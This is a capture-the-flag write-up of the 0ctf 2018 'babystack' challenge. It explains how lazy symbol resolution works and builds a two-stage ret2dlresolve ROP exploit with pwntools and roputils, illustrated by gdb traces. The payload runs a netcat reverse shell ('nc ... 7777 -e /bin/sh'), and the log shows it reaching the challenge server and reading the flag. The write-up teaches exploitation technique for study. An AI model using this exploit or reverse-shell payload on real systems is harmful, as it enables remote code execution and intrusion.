0ctf 2018 quals - babystack (ret2dlresolve)
Info leak is no longer required to exploit a stack overflow in 2018.
Enjoy the babystack
202.120.7.202:6666
Attachment: babystack pow.py xpl.py
The challenge was originally solved by vakzz
in the ctf. I just tried it also afterwards and made the writeup to have some notes on ret2dlresolve
.
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Ok, there’s not much in the binary to work with. All it does, is setting up a timeout and then call a function with an obvious buffer overflow.
void vuln ()
{
char buf ;
return read ( 0 , & buf , 64 );
}
Thus, the binary only has got entries for alarm
and read
, no easy way to print anything. And even if we could write something, the calling python script would pipe it to /dev/null
.
#!/usr/bin/python -u
# encoding: utf-8
import random , string , subprocess , os , sys
from hashlib import sha256
os . chdir ( os . path . dirname ( os . path . realpath ( __file__ )))
def proof_of_work ():
chal = '' . join ( random . choice ( string . letters + string . digits ) for _ in xrange ( 16 ))
print chal
sol = sys . stdin . read ( 4 )
if len ( sol ) != 4 or not sha256 ( chal + sol ). digest (). startswith ( ' \0\0\0 ' ):
exit ()
def exec_serv ( name , payload ):
p = subprocess . Popen ( name , stdin = subprocess . PIPE , stdout = file ( '/dev/null' , 'w' ), stderr = subprocess . STDOUT )
p . stdin . write ( payload )
p . wait ()
if __name__ == '__main__' :
proof_of_work ()
payload = sys . stdin . read ( 0x100 )
exec_serv ( './babystack' , payload )
This script is used on the server, to read the proof of work and then start the binary.
It will read 0x100
bytes once and then pass them to the binary, so we cannot do multiple sends and have to send our complete payload in one go (might render your exploit unusable, if you developed it against the binary directly). So we have to forge our payload carefully, doing exact reads, when passing additional data in our payload.
No output, so no leaks possible
No libc provided, so no offset calculation possible
Obviously, they’re asking for ret2dlresolve
. Won’t be doing a complete walkthrough on how to setup the different tables needed for ret2dlresolve
, since there are already many writeups out there, which go into more detail.
This writeup serves more as a reminder for my future me ;)
Other writeups on ret2dlresolve
:
When a binary tries to call a function from libc for the first time, it has to resolve the real address of the function in libc first.
At startup the got
entries in the binary contains the address of the corresponding plt
function:
0x804a000: 0x08049f14 0xf7ffd940 0xf7fead80 0x08048306 <= _dl_runtime_resolve / read.got
0x804a010: 0x08048316 0xf7dcdd90 0x00000000 0x00000000 <= alarm.got
gdb-peda$ x/2i 0x08048306
0x8048306 <read@plt+6>: push 0x0
0x804830b <read@plt+11>: jmp 0x80482f0
gdb-peda$ x/2i 0x08048316
0x8048316 <alarm@plt+6>: push 0x8
0x804831b <alarm@plt+11>: jmp 0x80482f0
gdb-peda$ x/2i 0x80482f0
0x80482f0: push DWORD PTR ds:0x804a004 <= link_map
0x80482f6: jmp DWORD PTR ds:0x804a008 <= 0xf7fead80 (_dl_runtime_resolve)
gdb-peda$ x/10i 0xf7fead80
0xf7fead80 <_dl_runtime_resolve>: push eax
0xf7fead81 <_dl_runtime_resolve+1>: push ecx
0xf7fead82 <_dl_runtime_resolve+2>: push edx
0xf7fead83 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
0xf7fead87 <_dl_runtime_resolve+7>: mov eax,DWORD PTR [esp+0xc]
0xf7fead8b <_dl_runtime_resolve+11>: call 0xf7fe4f30 <_dl_fixup>
0xf7fead90 <_dl_runtime_resolve+16>: pop edx
0xf7fead91 <_dl_runtime_resolve+17>: mov ecx,DWORD PTR [esp]
0xf7fead94 <_dl_runtime_resolve+20>: mov DWORD PTR [esp],eax
0xf7fead97 <_dl_runtime_resolve+23>: mov eax,DWORD PTR [esp+0x4]
In the binary itself, whenever it wants to call read
for example, it will call read.plt
gdb-peda$ x/10i 0x804843b
0x804843b: push ebp
0x804843c: mov ebp,esp
0x804843e: sub esp,0x28
0x8048441: sub esp,0x4
0x8048444: push 0x40
0x8048446: lea eax,[ebp-0x28]
0x8048449: push eax
0x804844a: push 0x0
0x804844c: call 0x8048300 <read@plt>
0x8048451: add esp,0x10
gdb-peda$ x/3i 0x8048300
0x8048300 <read@plt>: jmp DWORD PTR ds:0x804a00c
0x8048306 <read@plt+6>: push 0x0
0x804830b <read@plt+11>: jmp 0x80482f0
The read@plt
function will jump to the address stored at 0x804a00c
, which points to 0x8048306
at program startup . This is basically read@plt+6
, which will then push a 0x0
(offset for read
symbol) to the stack and jump to 0x80482f0
, which then pushes 0x804a004
(link_map) to the stack and call the function stored in address 0x804a008
(which points to _dl_runtime_resolve
).
_dl_runtime_resolve
will now lookup the correct address of read
in libc, store it in the got entry (0x804a00c
) and call it. Though, when read is now called another time, read@plt
will again try to jump to the address stored at 0x804a00c
. But this time, since the linker already stored the resolved address there, it will directly jump to read
in libc.
.text
.globl _dl_runtime_resolve
.type _dl_runtime_resolve, @function
cfi_startproc
.align 16
_dl_runtime_resolve:
cfi_adjust_cfa_offset (8)
pushl %eax # Preserve registers otherwise clobbered.
cfi_adjust_cfa_offset (4)
pushl %ecx
cfi_adjust_cfa_offset (4)
pushl %edx
cfi_adjust_cfa_offset (4)
movl 16(%esp), %edx # Copy args pushed by PLT in register. Note
movl 12(%esp), %eax # that `fixup' takes its parameters in regs.
call _dl_fixup # Call resolver.
popl %edx # Get register content back.
cfi_adjust_cfa_offset (-4)
movl (%esp), %ecx
movl %eax, (%esp) # Store the function address.
movl 4(%esp), %eax
ret $12 # Jump to function address.
cfi_endproc
.size _dl_runtime_resolve, .-_dl_runtime_resolve
_dl_runtime_resolve
will call _dl_fixup
to resolve the address of the function in libc.
_dl_fixup ( struct link_map * l , ElfW ( Word ) reloc_arg )
{
const ElfW ( Sym ) * const symtab
= ( const void * ) D_PTR ( l , l_info [ DT_SYMTAB ]);
const char * strtab = ( const void * ) D_PTR ( l , l_info [ DT_STRTAB ]);
const PLTREL * const reloc
= ( const void * ) ( D_PTR ( l , l_info [ DT_JMPREL ]) + reloc_offset );
const ElfW ( Sym ) * sym = & symtab [ ELFW ( R_SYM ) ( reloc -> r_info )];
const ElfW ( Sym ) * refsym = sym ;
void * const rel_addr = ( void * )( l -> l_addr + reloc -> r_offset );
lookup_t result ;
...
result = _dl_lookup_symbol_x ( strtab + sym -> st_name , l , & sym , l -> l_scope ,
version , ELF_RTYPE_CLASS_PLT , flags , NULL );
...
}
_dl_fixup
gets a pointer to the link_map
and a reloc_arg
, which defines where to look in the symbol table for the name of the symbol.
If we’re able to create a fake symtab and call _dl_runtime_resolve
with the offset to our fake symbol, _dl_fixup
will happily resolve our symbol and call it. Refer to the already mentioned writeups for more detail on creating fake symtab and strtabs. For now, we’ll be using roputils
to do the calculations and forge those.
For the start, babystack
reads 64 bytes input, and the overflow into ebp
happens after byte 40. That means, we have 24 bytes for our payload, which is not quite enough for what we need, so we start with forcing it to read another payload enlarging our ropchain.
#!/usr/bin/python
from pwn import *
import roputils , sys , string , itertools
from hashlib import sha256
LOCAL = True
HOST = "202.120.7.202"
PORT = 6666
charset = string . letters + string . digits
def calcpow ( chal ):
for combo in itertools . combinations_with_replacement ( string . letters + string . digits , 4 ):
sol = '' . join ( combo )
if sha256 ( chal + sol ). digest (). startswith ( " \0\0\0 " ):
return sol
return None
def get_connection ():
return remote ( "localhost" , 6666 ) if LOCAL else remote ( HOST , PORT )
def exploit ():
log . info ( "Solve pow " )
sol = None
while sol == None :
r = get_connection ()
sol = calcpow ( r . recvline (). strip ())
if sol == None :
r . close ()
r . send ( sol )
log . info ( "Stage1: Prepare bigger read for ropchain" )
payload = "A" * 40
payload += p32 ( 0x804a500 )
payload += p32 ( 0x8048446 )
payload += p32 ( 80 ) # exact length of stage 2 payload
payload += "B" * ( 64 - len ( payload ))
r . sendline ( payload )
r . interactive ()
return
if __name__ == "__main__" :
e = ELF ( "./babystack" )
if len ( sys . argv ) > 1 :
LOCAL = False
exploit ()
else :
LOCAL = True
exploit ()
This will read another ropchain at 0x804a4d8
(ebp-0x28
), so we know exactly where our next string will be stored (partially defeating ASLR).
gdb-peda$ x/10i 0x8048446
0x8048446: lea eax,[ebp-0x28]
0x8048449: push eax
0x804844a: push 0x0
0x804844c: call 0x8048300 <read@plt>
0x8048451: add esp,0x10
0x8048454: nop
0x8048455: leave
0x8048456: ret
The following leave; ret
will pivot the stack to our payload, executing the next ropchain, we’ll store there.
In the next step, we’ll do another read
, which will read our fake symbol onto bss
and then creates a call to _dl_runtime_resolve
with the offset to our fake symbol.
log . info ( "Stage2: Send ret2dlresolve executing reverse shell" )
payload += "A" * 40
payload += p32 ( 0x804a500 )
# Read the fake tabs from payload2 to bss
payload += rop . call ( "read" , 0 , addr_bss , 150 )
# Call dl_resolve with offset to our fake symbol
payload += rop . dl_resolve_call ( addr_bss + 60 , addr_bss )
# Create fake rel and sym on bss
payload2 = rop . string ( "nc %s 7777 -e /bin/sh" % LOCALIP )
payload2 += rop . fill ( 60 , payload2 ) # Align symbol to bss+60
payload2 += rop . dl_resolve_data ( addr_bss + 60 , "system" ) # Fake r_info / st_name
payload2 += rop . fill ( 150 , payload2 )
payload += payload2
payload = payload . ljust ( 0x100 , " \x00 " )
def dl_resolve_call ( self , base , * args ):
jmprel = self . dynamic ( 'JMPREL' )
relent = self . dynamic ( 'RELENT' )
addr_reloc , padlen_reloc = self . align ( base , jmprel , relent )
reloc_offset = addr_reloc - jmprel
buf = self . p ( self . plt ())
buf += self . p ( reloc_offset )
buf += self . p ( self . gadget ( 'pop' , n = len ( args )))
buf += self . p ( args )
return buf
dl_resolve_call
will calculate the offset for our fake symbol and put the address of the plt function to the stack, which will then basically call
gdb-peda$ x/2i 0x80482f0
0x80482f0: push DWORD PTR ds:0x804a004 <= link_map
0x80482f6: jmp DWORD PTR ds:0x804a008 <= 0xf7fead80 (_dl_runtime_resolve)
putting the link map on the stack, and call _dl_runtime_resolve
.
Stack after the last read and the pop gadgets:
[----------------------------------registers-----------------------------------]
EAX: 0x70 ('p')
EBX: 0x0
ECX: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EDX: 0x96
ESI: 0x0
EDI: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EBP: 0x96
ESP: 0x804a518 --> 0x80482f0 (push DWORD PTR ds:0x804a004)
EIP: 0x80484ec (ret)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80484e9: pop esi
0x80484ea: pop edi
0x80484eb: pop ebp
=> 0x80484ec: ret
0x80484ed: lea esi,[esi+0x0]
0x80484f0: repz ret
0x80484f2: add BYTE PTR [eax],al
0x80484f4: push ebx
[------------------------------------stack-------------------------------------]
0000| 0x804a518 --> 0x80482f0 (push DWORD PTR ds:0x804a004)
0004| 0x804a51c --> 0x1db0
0008| 0x804a520 --> 0x80482e9 (pop ebx)
0012| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0016| 0x804a528 --> 0x0
0020| 0x804a52c --> 0x0
0024| 0x804a530 --> 0x0
0028| 0x804a534 --> 0x0
[------------------------------------------------------------------------------]
=> 0x80482f0: push DWORD PTR ds:0x804a004
0x80482f6: jmp DWORD PTR ds:0x804a008
0x80482fc: add BYTE PTR [eax],al
0x80482fe: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0x804a51c --> 0x1db0
0004| 0x804a520 --> 0x80482e9 (pop ebx)
0008| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
Calling _dl_runtime_resolve
[----------------------------------registers-----------------------------------]
EAX: 0x70 ('p')
EBX: 0x0
ECX: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EDX: 0x96
ESI: 0x0
EDI: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EBP: 0x96
ESP: 0x804a518 --> 0xf7f09940 --> 0x0
EIP: 0x80482f6 (jmp DWORD PTR ds:0x804a008)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80482ed: add BYTE PTR [eax],al
0x80482ef: add bh,bh
0x80482f1: xor eax,0x804a004
=> 0x80482f6: jmp DWORD PTR ds:0x804a008
| 0x80482fc: add BYTE PTR [eax],al
| 0x80482fe: add BYTE PTR [eax],al
| 0x8048300 <read@plt>: jmp DWORD PTR ds:0x804a00c
| 0x8048306 <read@plt+6>: push 0x0
|-> 0xf7ef6d80 <_dl_runtime_resolve>: push eax
0xf7ef6d81 <_dl_runtime_resolve+1>: push ecx
0xf7ef6d82 <_dl_runtime_resolve+2>: push edx
0xf7ef6d83 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x804a518 --> 0xf7f09940 --> 0x0
0004| 0x804a51c --> 0x1db0
0008| 0x804a520 --> 0x80482e9 (pop ebx)
0012| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0016| 0x804a528 --> 0x0
0020| 0x804a52c --> 0x0
0024| 0x804a530 --> 0x0
0028| 0x804a534 --> 0x0
[------------------------------------------------------------------------------]
Calling _dl_fixup
[----------------------------------registers-----------------------------------]
EAX: 0xf7f09940 --> 0x0
EBX: 0x0
ECX: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EDX: 0x1db0
ESI: 0x0
EDI: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EBP: 0x96
ESP: 0x804a50c --> 0x96
EIP: 0xf7ef6d8b (<_dl_runtime_resolve+11>: call 0xf7ef0f30 <_dl_fixup>)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7ef6d82 <_dl_runtime_resolve+2>: push edx
0xf7ef6d83 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
0xf7ef6d87 <_dl_runtime_resolve+7>: mov eax,DWORD PTR [esp+0xc]
=> 0xf7ef6d8b <_dl_runtime_resolve+11>: call 0xf7ef0f30 <_dl_fixup>
0xf7ef6d90 <_dl_runtime_resolve+16>: pop edx
0xf7ef6d91 <_dl_runtime_resolve+17>: mov ecx,DWORD PTR [esp]
0xf7ef6d94 <_dl_runtime_resolve+20>: mov DWORD PTR [esp],eax
0xf7ef6d97 <_dl_runtime_resolve+23>: mov eax,DWORD PTR [esp+0x4]
Guessed arguments:
arg[0]: 0x96
arg[1]: 0x804a020 ("nc localhost 7777 -e /bin/sh")
arg[2]: 0x70 ('p')
[------------------------------------stack-------------------------------------]
0000| 0x804a50c --> 0x96
0004| 0x804a510 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0008| 0x804a514 --> 0x70 ('p')
0012| 0x804a518 --> 0xf7f09940 --> 0x0
0016| 0x804a51c --> 0x1db0
0020| 0x804a520 --> 0x80482e9 (pop ebx)
0024| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0028| 0x804a528 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
43 in ../sysdeps/i386/dl-trampoline.S
Calling _dl_lookup_symbol_x
[----------------------------------registers-----------------------------------]
EAX: 0xf7f09940 --> 0x0
EBX: 0x1
ECX: 0x804a06c --> 0x1e50
EDX: 0x804a4e8 --> 0x804a06c --> 0x1e50
ESI: 0x0
EDI: 0x804a07c ("system")
EBP: 0x804a05c ("BgA6\\\240\004\b\a\352\001")
ESP: 0x804a4ac --> 0x804a07c ("system")
EIP: 0xf7ef0fe3 (<_dl_fixup+179>: call 0xf7eebe70 <_dl_lookup_symbol_x>)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7ef0fdc <_dl_fixup+172>: mov edi,DWORD PTR [esp+0x28]
0xf7ef0fe0 <_dl_fixup+176>: add edi,DWORD PTR [ecx]
0xf7ef0fe2 <_dl_fixup+178>: push edi
=> 0xf7ef0fe3 <_dl_fixup+179>: call 0xf7eebe70 <_dl_lookup_symbol_x>
0xf7ef0fe8 <_dl_fixup+184>: mov edi,eax
0xf7ef0fea <_dl_fixup+186>: mov eax,gs:0xc
0xf7ef0ff0 <_dl_fixup+192>: add esp,0x20
0xf7ef0ff3 <_dl_fixup+195>: test eax,eax
Guessed arguments:
arg[0]: 0x804a07c ("system")
arg[1]: 0xf7f09940 --> 0x0
arg[2]: 0x804a4e8 --> 0x804a06c --> 0x1e50
arg[3]: 0xf7f09af8 --> 0xf7f09a9c --> 0xf7edb3e0 --> 0xf7f09940 --> 0x0
arg[4]: 0x0
arg[5]: 0x1
[------------------------------------stack-------------------------------------]
0000| 0x804a4ac --> 0x804a07c ("system")
0004| 0x804a4b0 --> 0xf7f09940 --> 0x0
0008| 0x804a4b4 --> 0x804a4e8 --> 0x804a06c --> 0x1e50
0012| 0x804a4b8 --> 0xf7f09af8 --> 0xf7f09a9c --> 0xf7edb3e0 --> 0xf7f09940 --> 0x0
0016| 0x804a4bc --> 0x0
0020| 0x804a4c0 --> 0x1
0024| 0x804a4c4 --> 0x1
0028| 0x804a4c8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7ef0fe3 112 in dl-runtime.c
And there it goes, resolving system
:)
[----------------------------------registers-----------------------------------]
EAX: 0x70 ('p')
EBX: 0x0
ECX: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EDX: 0x96
ESI: 0x0
EDI: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EBP: 0x96
ESP: 0x804a510 --> 0xf7cfdd00 (<__libc_system>: sub esp,0xc)
EIP: 0xf7ef6d9b (<_dl_runtime_resolve+27>: ret 0xc)
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7ef6d91 <_dl_runtime_resolve+17>: mov ecx,DWORD PTR [esp]
0xf7ef6d94 <_dl_runtime_resolve+20>: mov DWORD PTR [esp],eax
0xf7ef6d97 <_dl_runtime_resolve+23>: mov eax,DWORD PTR [esp+0x4]
=> 0xf7ef6d9b <_dl_runtime_resolve+27>: ret 0xc
0xf7ef6d9e: xchg ax,ax
0xf7ef6da0 <_dl_runtime_profile>: push esp
0xf7ef6da1 <_dl_runtime_profile+1>: add DWORD PTR [esp],0x8
0xf7ef6da5 <_dl_runtime_profile+5>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0x804a510 --> 0xf7cfdd00 (<__libc_system>: sub esp,0xc)
0004| 0x804a514 --> 0x70 ('p')
0008| 0x804a518 --> 0xf7f09940 --> 0x0
0012| 0x804a51c --> 0x1db0
0016| 0x804a520 --> 0x80482e9 (pop ebx)
0020| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0024| 0x804a528 --> 0x0
0028| 0x804a52c --> 0x0
[------------------------------------------------------------------------------]
At the end of _dl_runtime_resolve
, the address of system will be on the stack together with our arguments.
Finally calling system
[----------------------------------registers-----------------------------------]
EAX: 0x70 ('p')
EBX: 0x0
ECX: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EDX: 0x96
ESI: 0x0
EDI: 0x804a020 ("nc localhost 7777 -e /bin/sh")
EBP: 0x96
ESP: 0x804a520 --> 0x80482e9 (pop ebx)
EIP: 0xf7cfdd00 (<__libc_system>: sub esp,0xc)
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7cfdcf5 <cancel_handler+197>: ret
0xf7cfdcf6: lea esi,[esi+0x0]
0xf7cfdcf9: lea edi,[edi+eiz*1+0x0]
=> 0xf7cfdd00 <__libc_system>: sub esp,0xc
0xf7cfdd03 <__libc_system+3>: mov eax,DWORD PTR [esp+0x10]
0xf7cfdd07 <__libc_system+7>: call 0xf7df5d5d <__x86.get_pc_thunk.dx>
0xf7cfdd0c <__libc_system+12>: add edx,0x1982f4
0xf7cfdd12 <__libc_system+18>: test eax,eax
[------------------------------------stack-------------------------------------]
0000| 0x804a520 --> 0x80482e9 (pop ebx)
0004| 0x804a524 --> 0x804a020 ("nc localhost 7777 -e /bin/sh")
0008| 0x804a528 --> 0x0
0012| 0x804a52c --> 0x0
0016| 0x804a530 --> 0x0
0020| 0x804a534 --> 0x0
0024| 0x804a538 --> 0x0
0028| 0x804a53c --> 0x0
[------------------------------------------------------------------------------]
I first tried launching /bin/sh
directly, but had no output, since the starter script piped stdout
to /dev/null
, so I opted for a reverse shell.
So, for this exploit working, open up a terminal with
nc -lvvp 7777
and in another terminal firing up the exploit
$ python xpl.py 1
[*] '/home/kileak/pwn/Challenges/0ctf18/pwn/babystack/babystack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Solve pow
[+] Opening connection to 202.120.7.202 on port 6666: Done
[*] Closed connection to 202.120.7.202 port 6666
[+] Opening connection to 202.120.7.202 on port 6666: Done
[*] Paused (press any to continue)
[*] Stage1: Prepare bigger read for ropchain
[*] Stage2: Send ret2dlresolve executing reverse shell
[*] Switching to interactive mode
Switching back to our first terminal:
$ nc -lvvp 7777
listening on [any] 7777 ...
202.120.7.202: inverse host lookup failed: Unknown host
connect to [192.168.2.102] from (UNKNOWN) [202.120.7.202] 59808
ls
babystack
flag
pow.py
cat flag
flag{return_to_dlresolve_for_warming_up}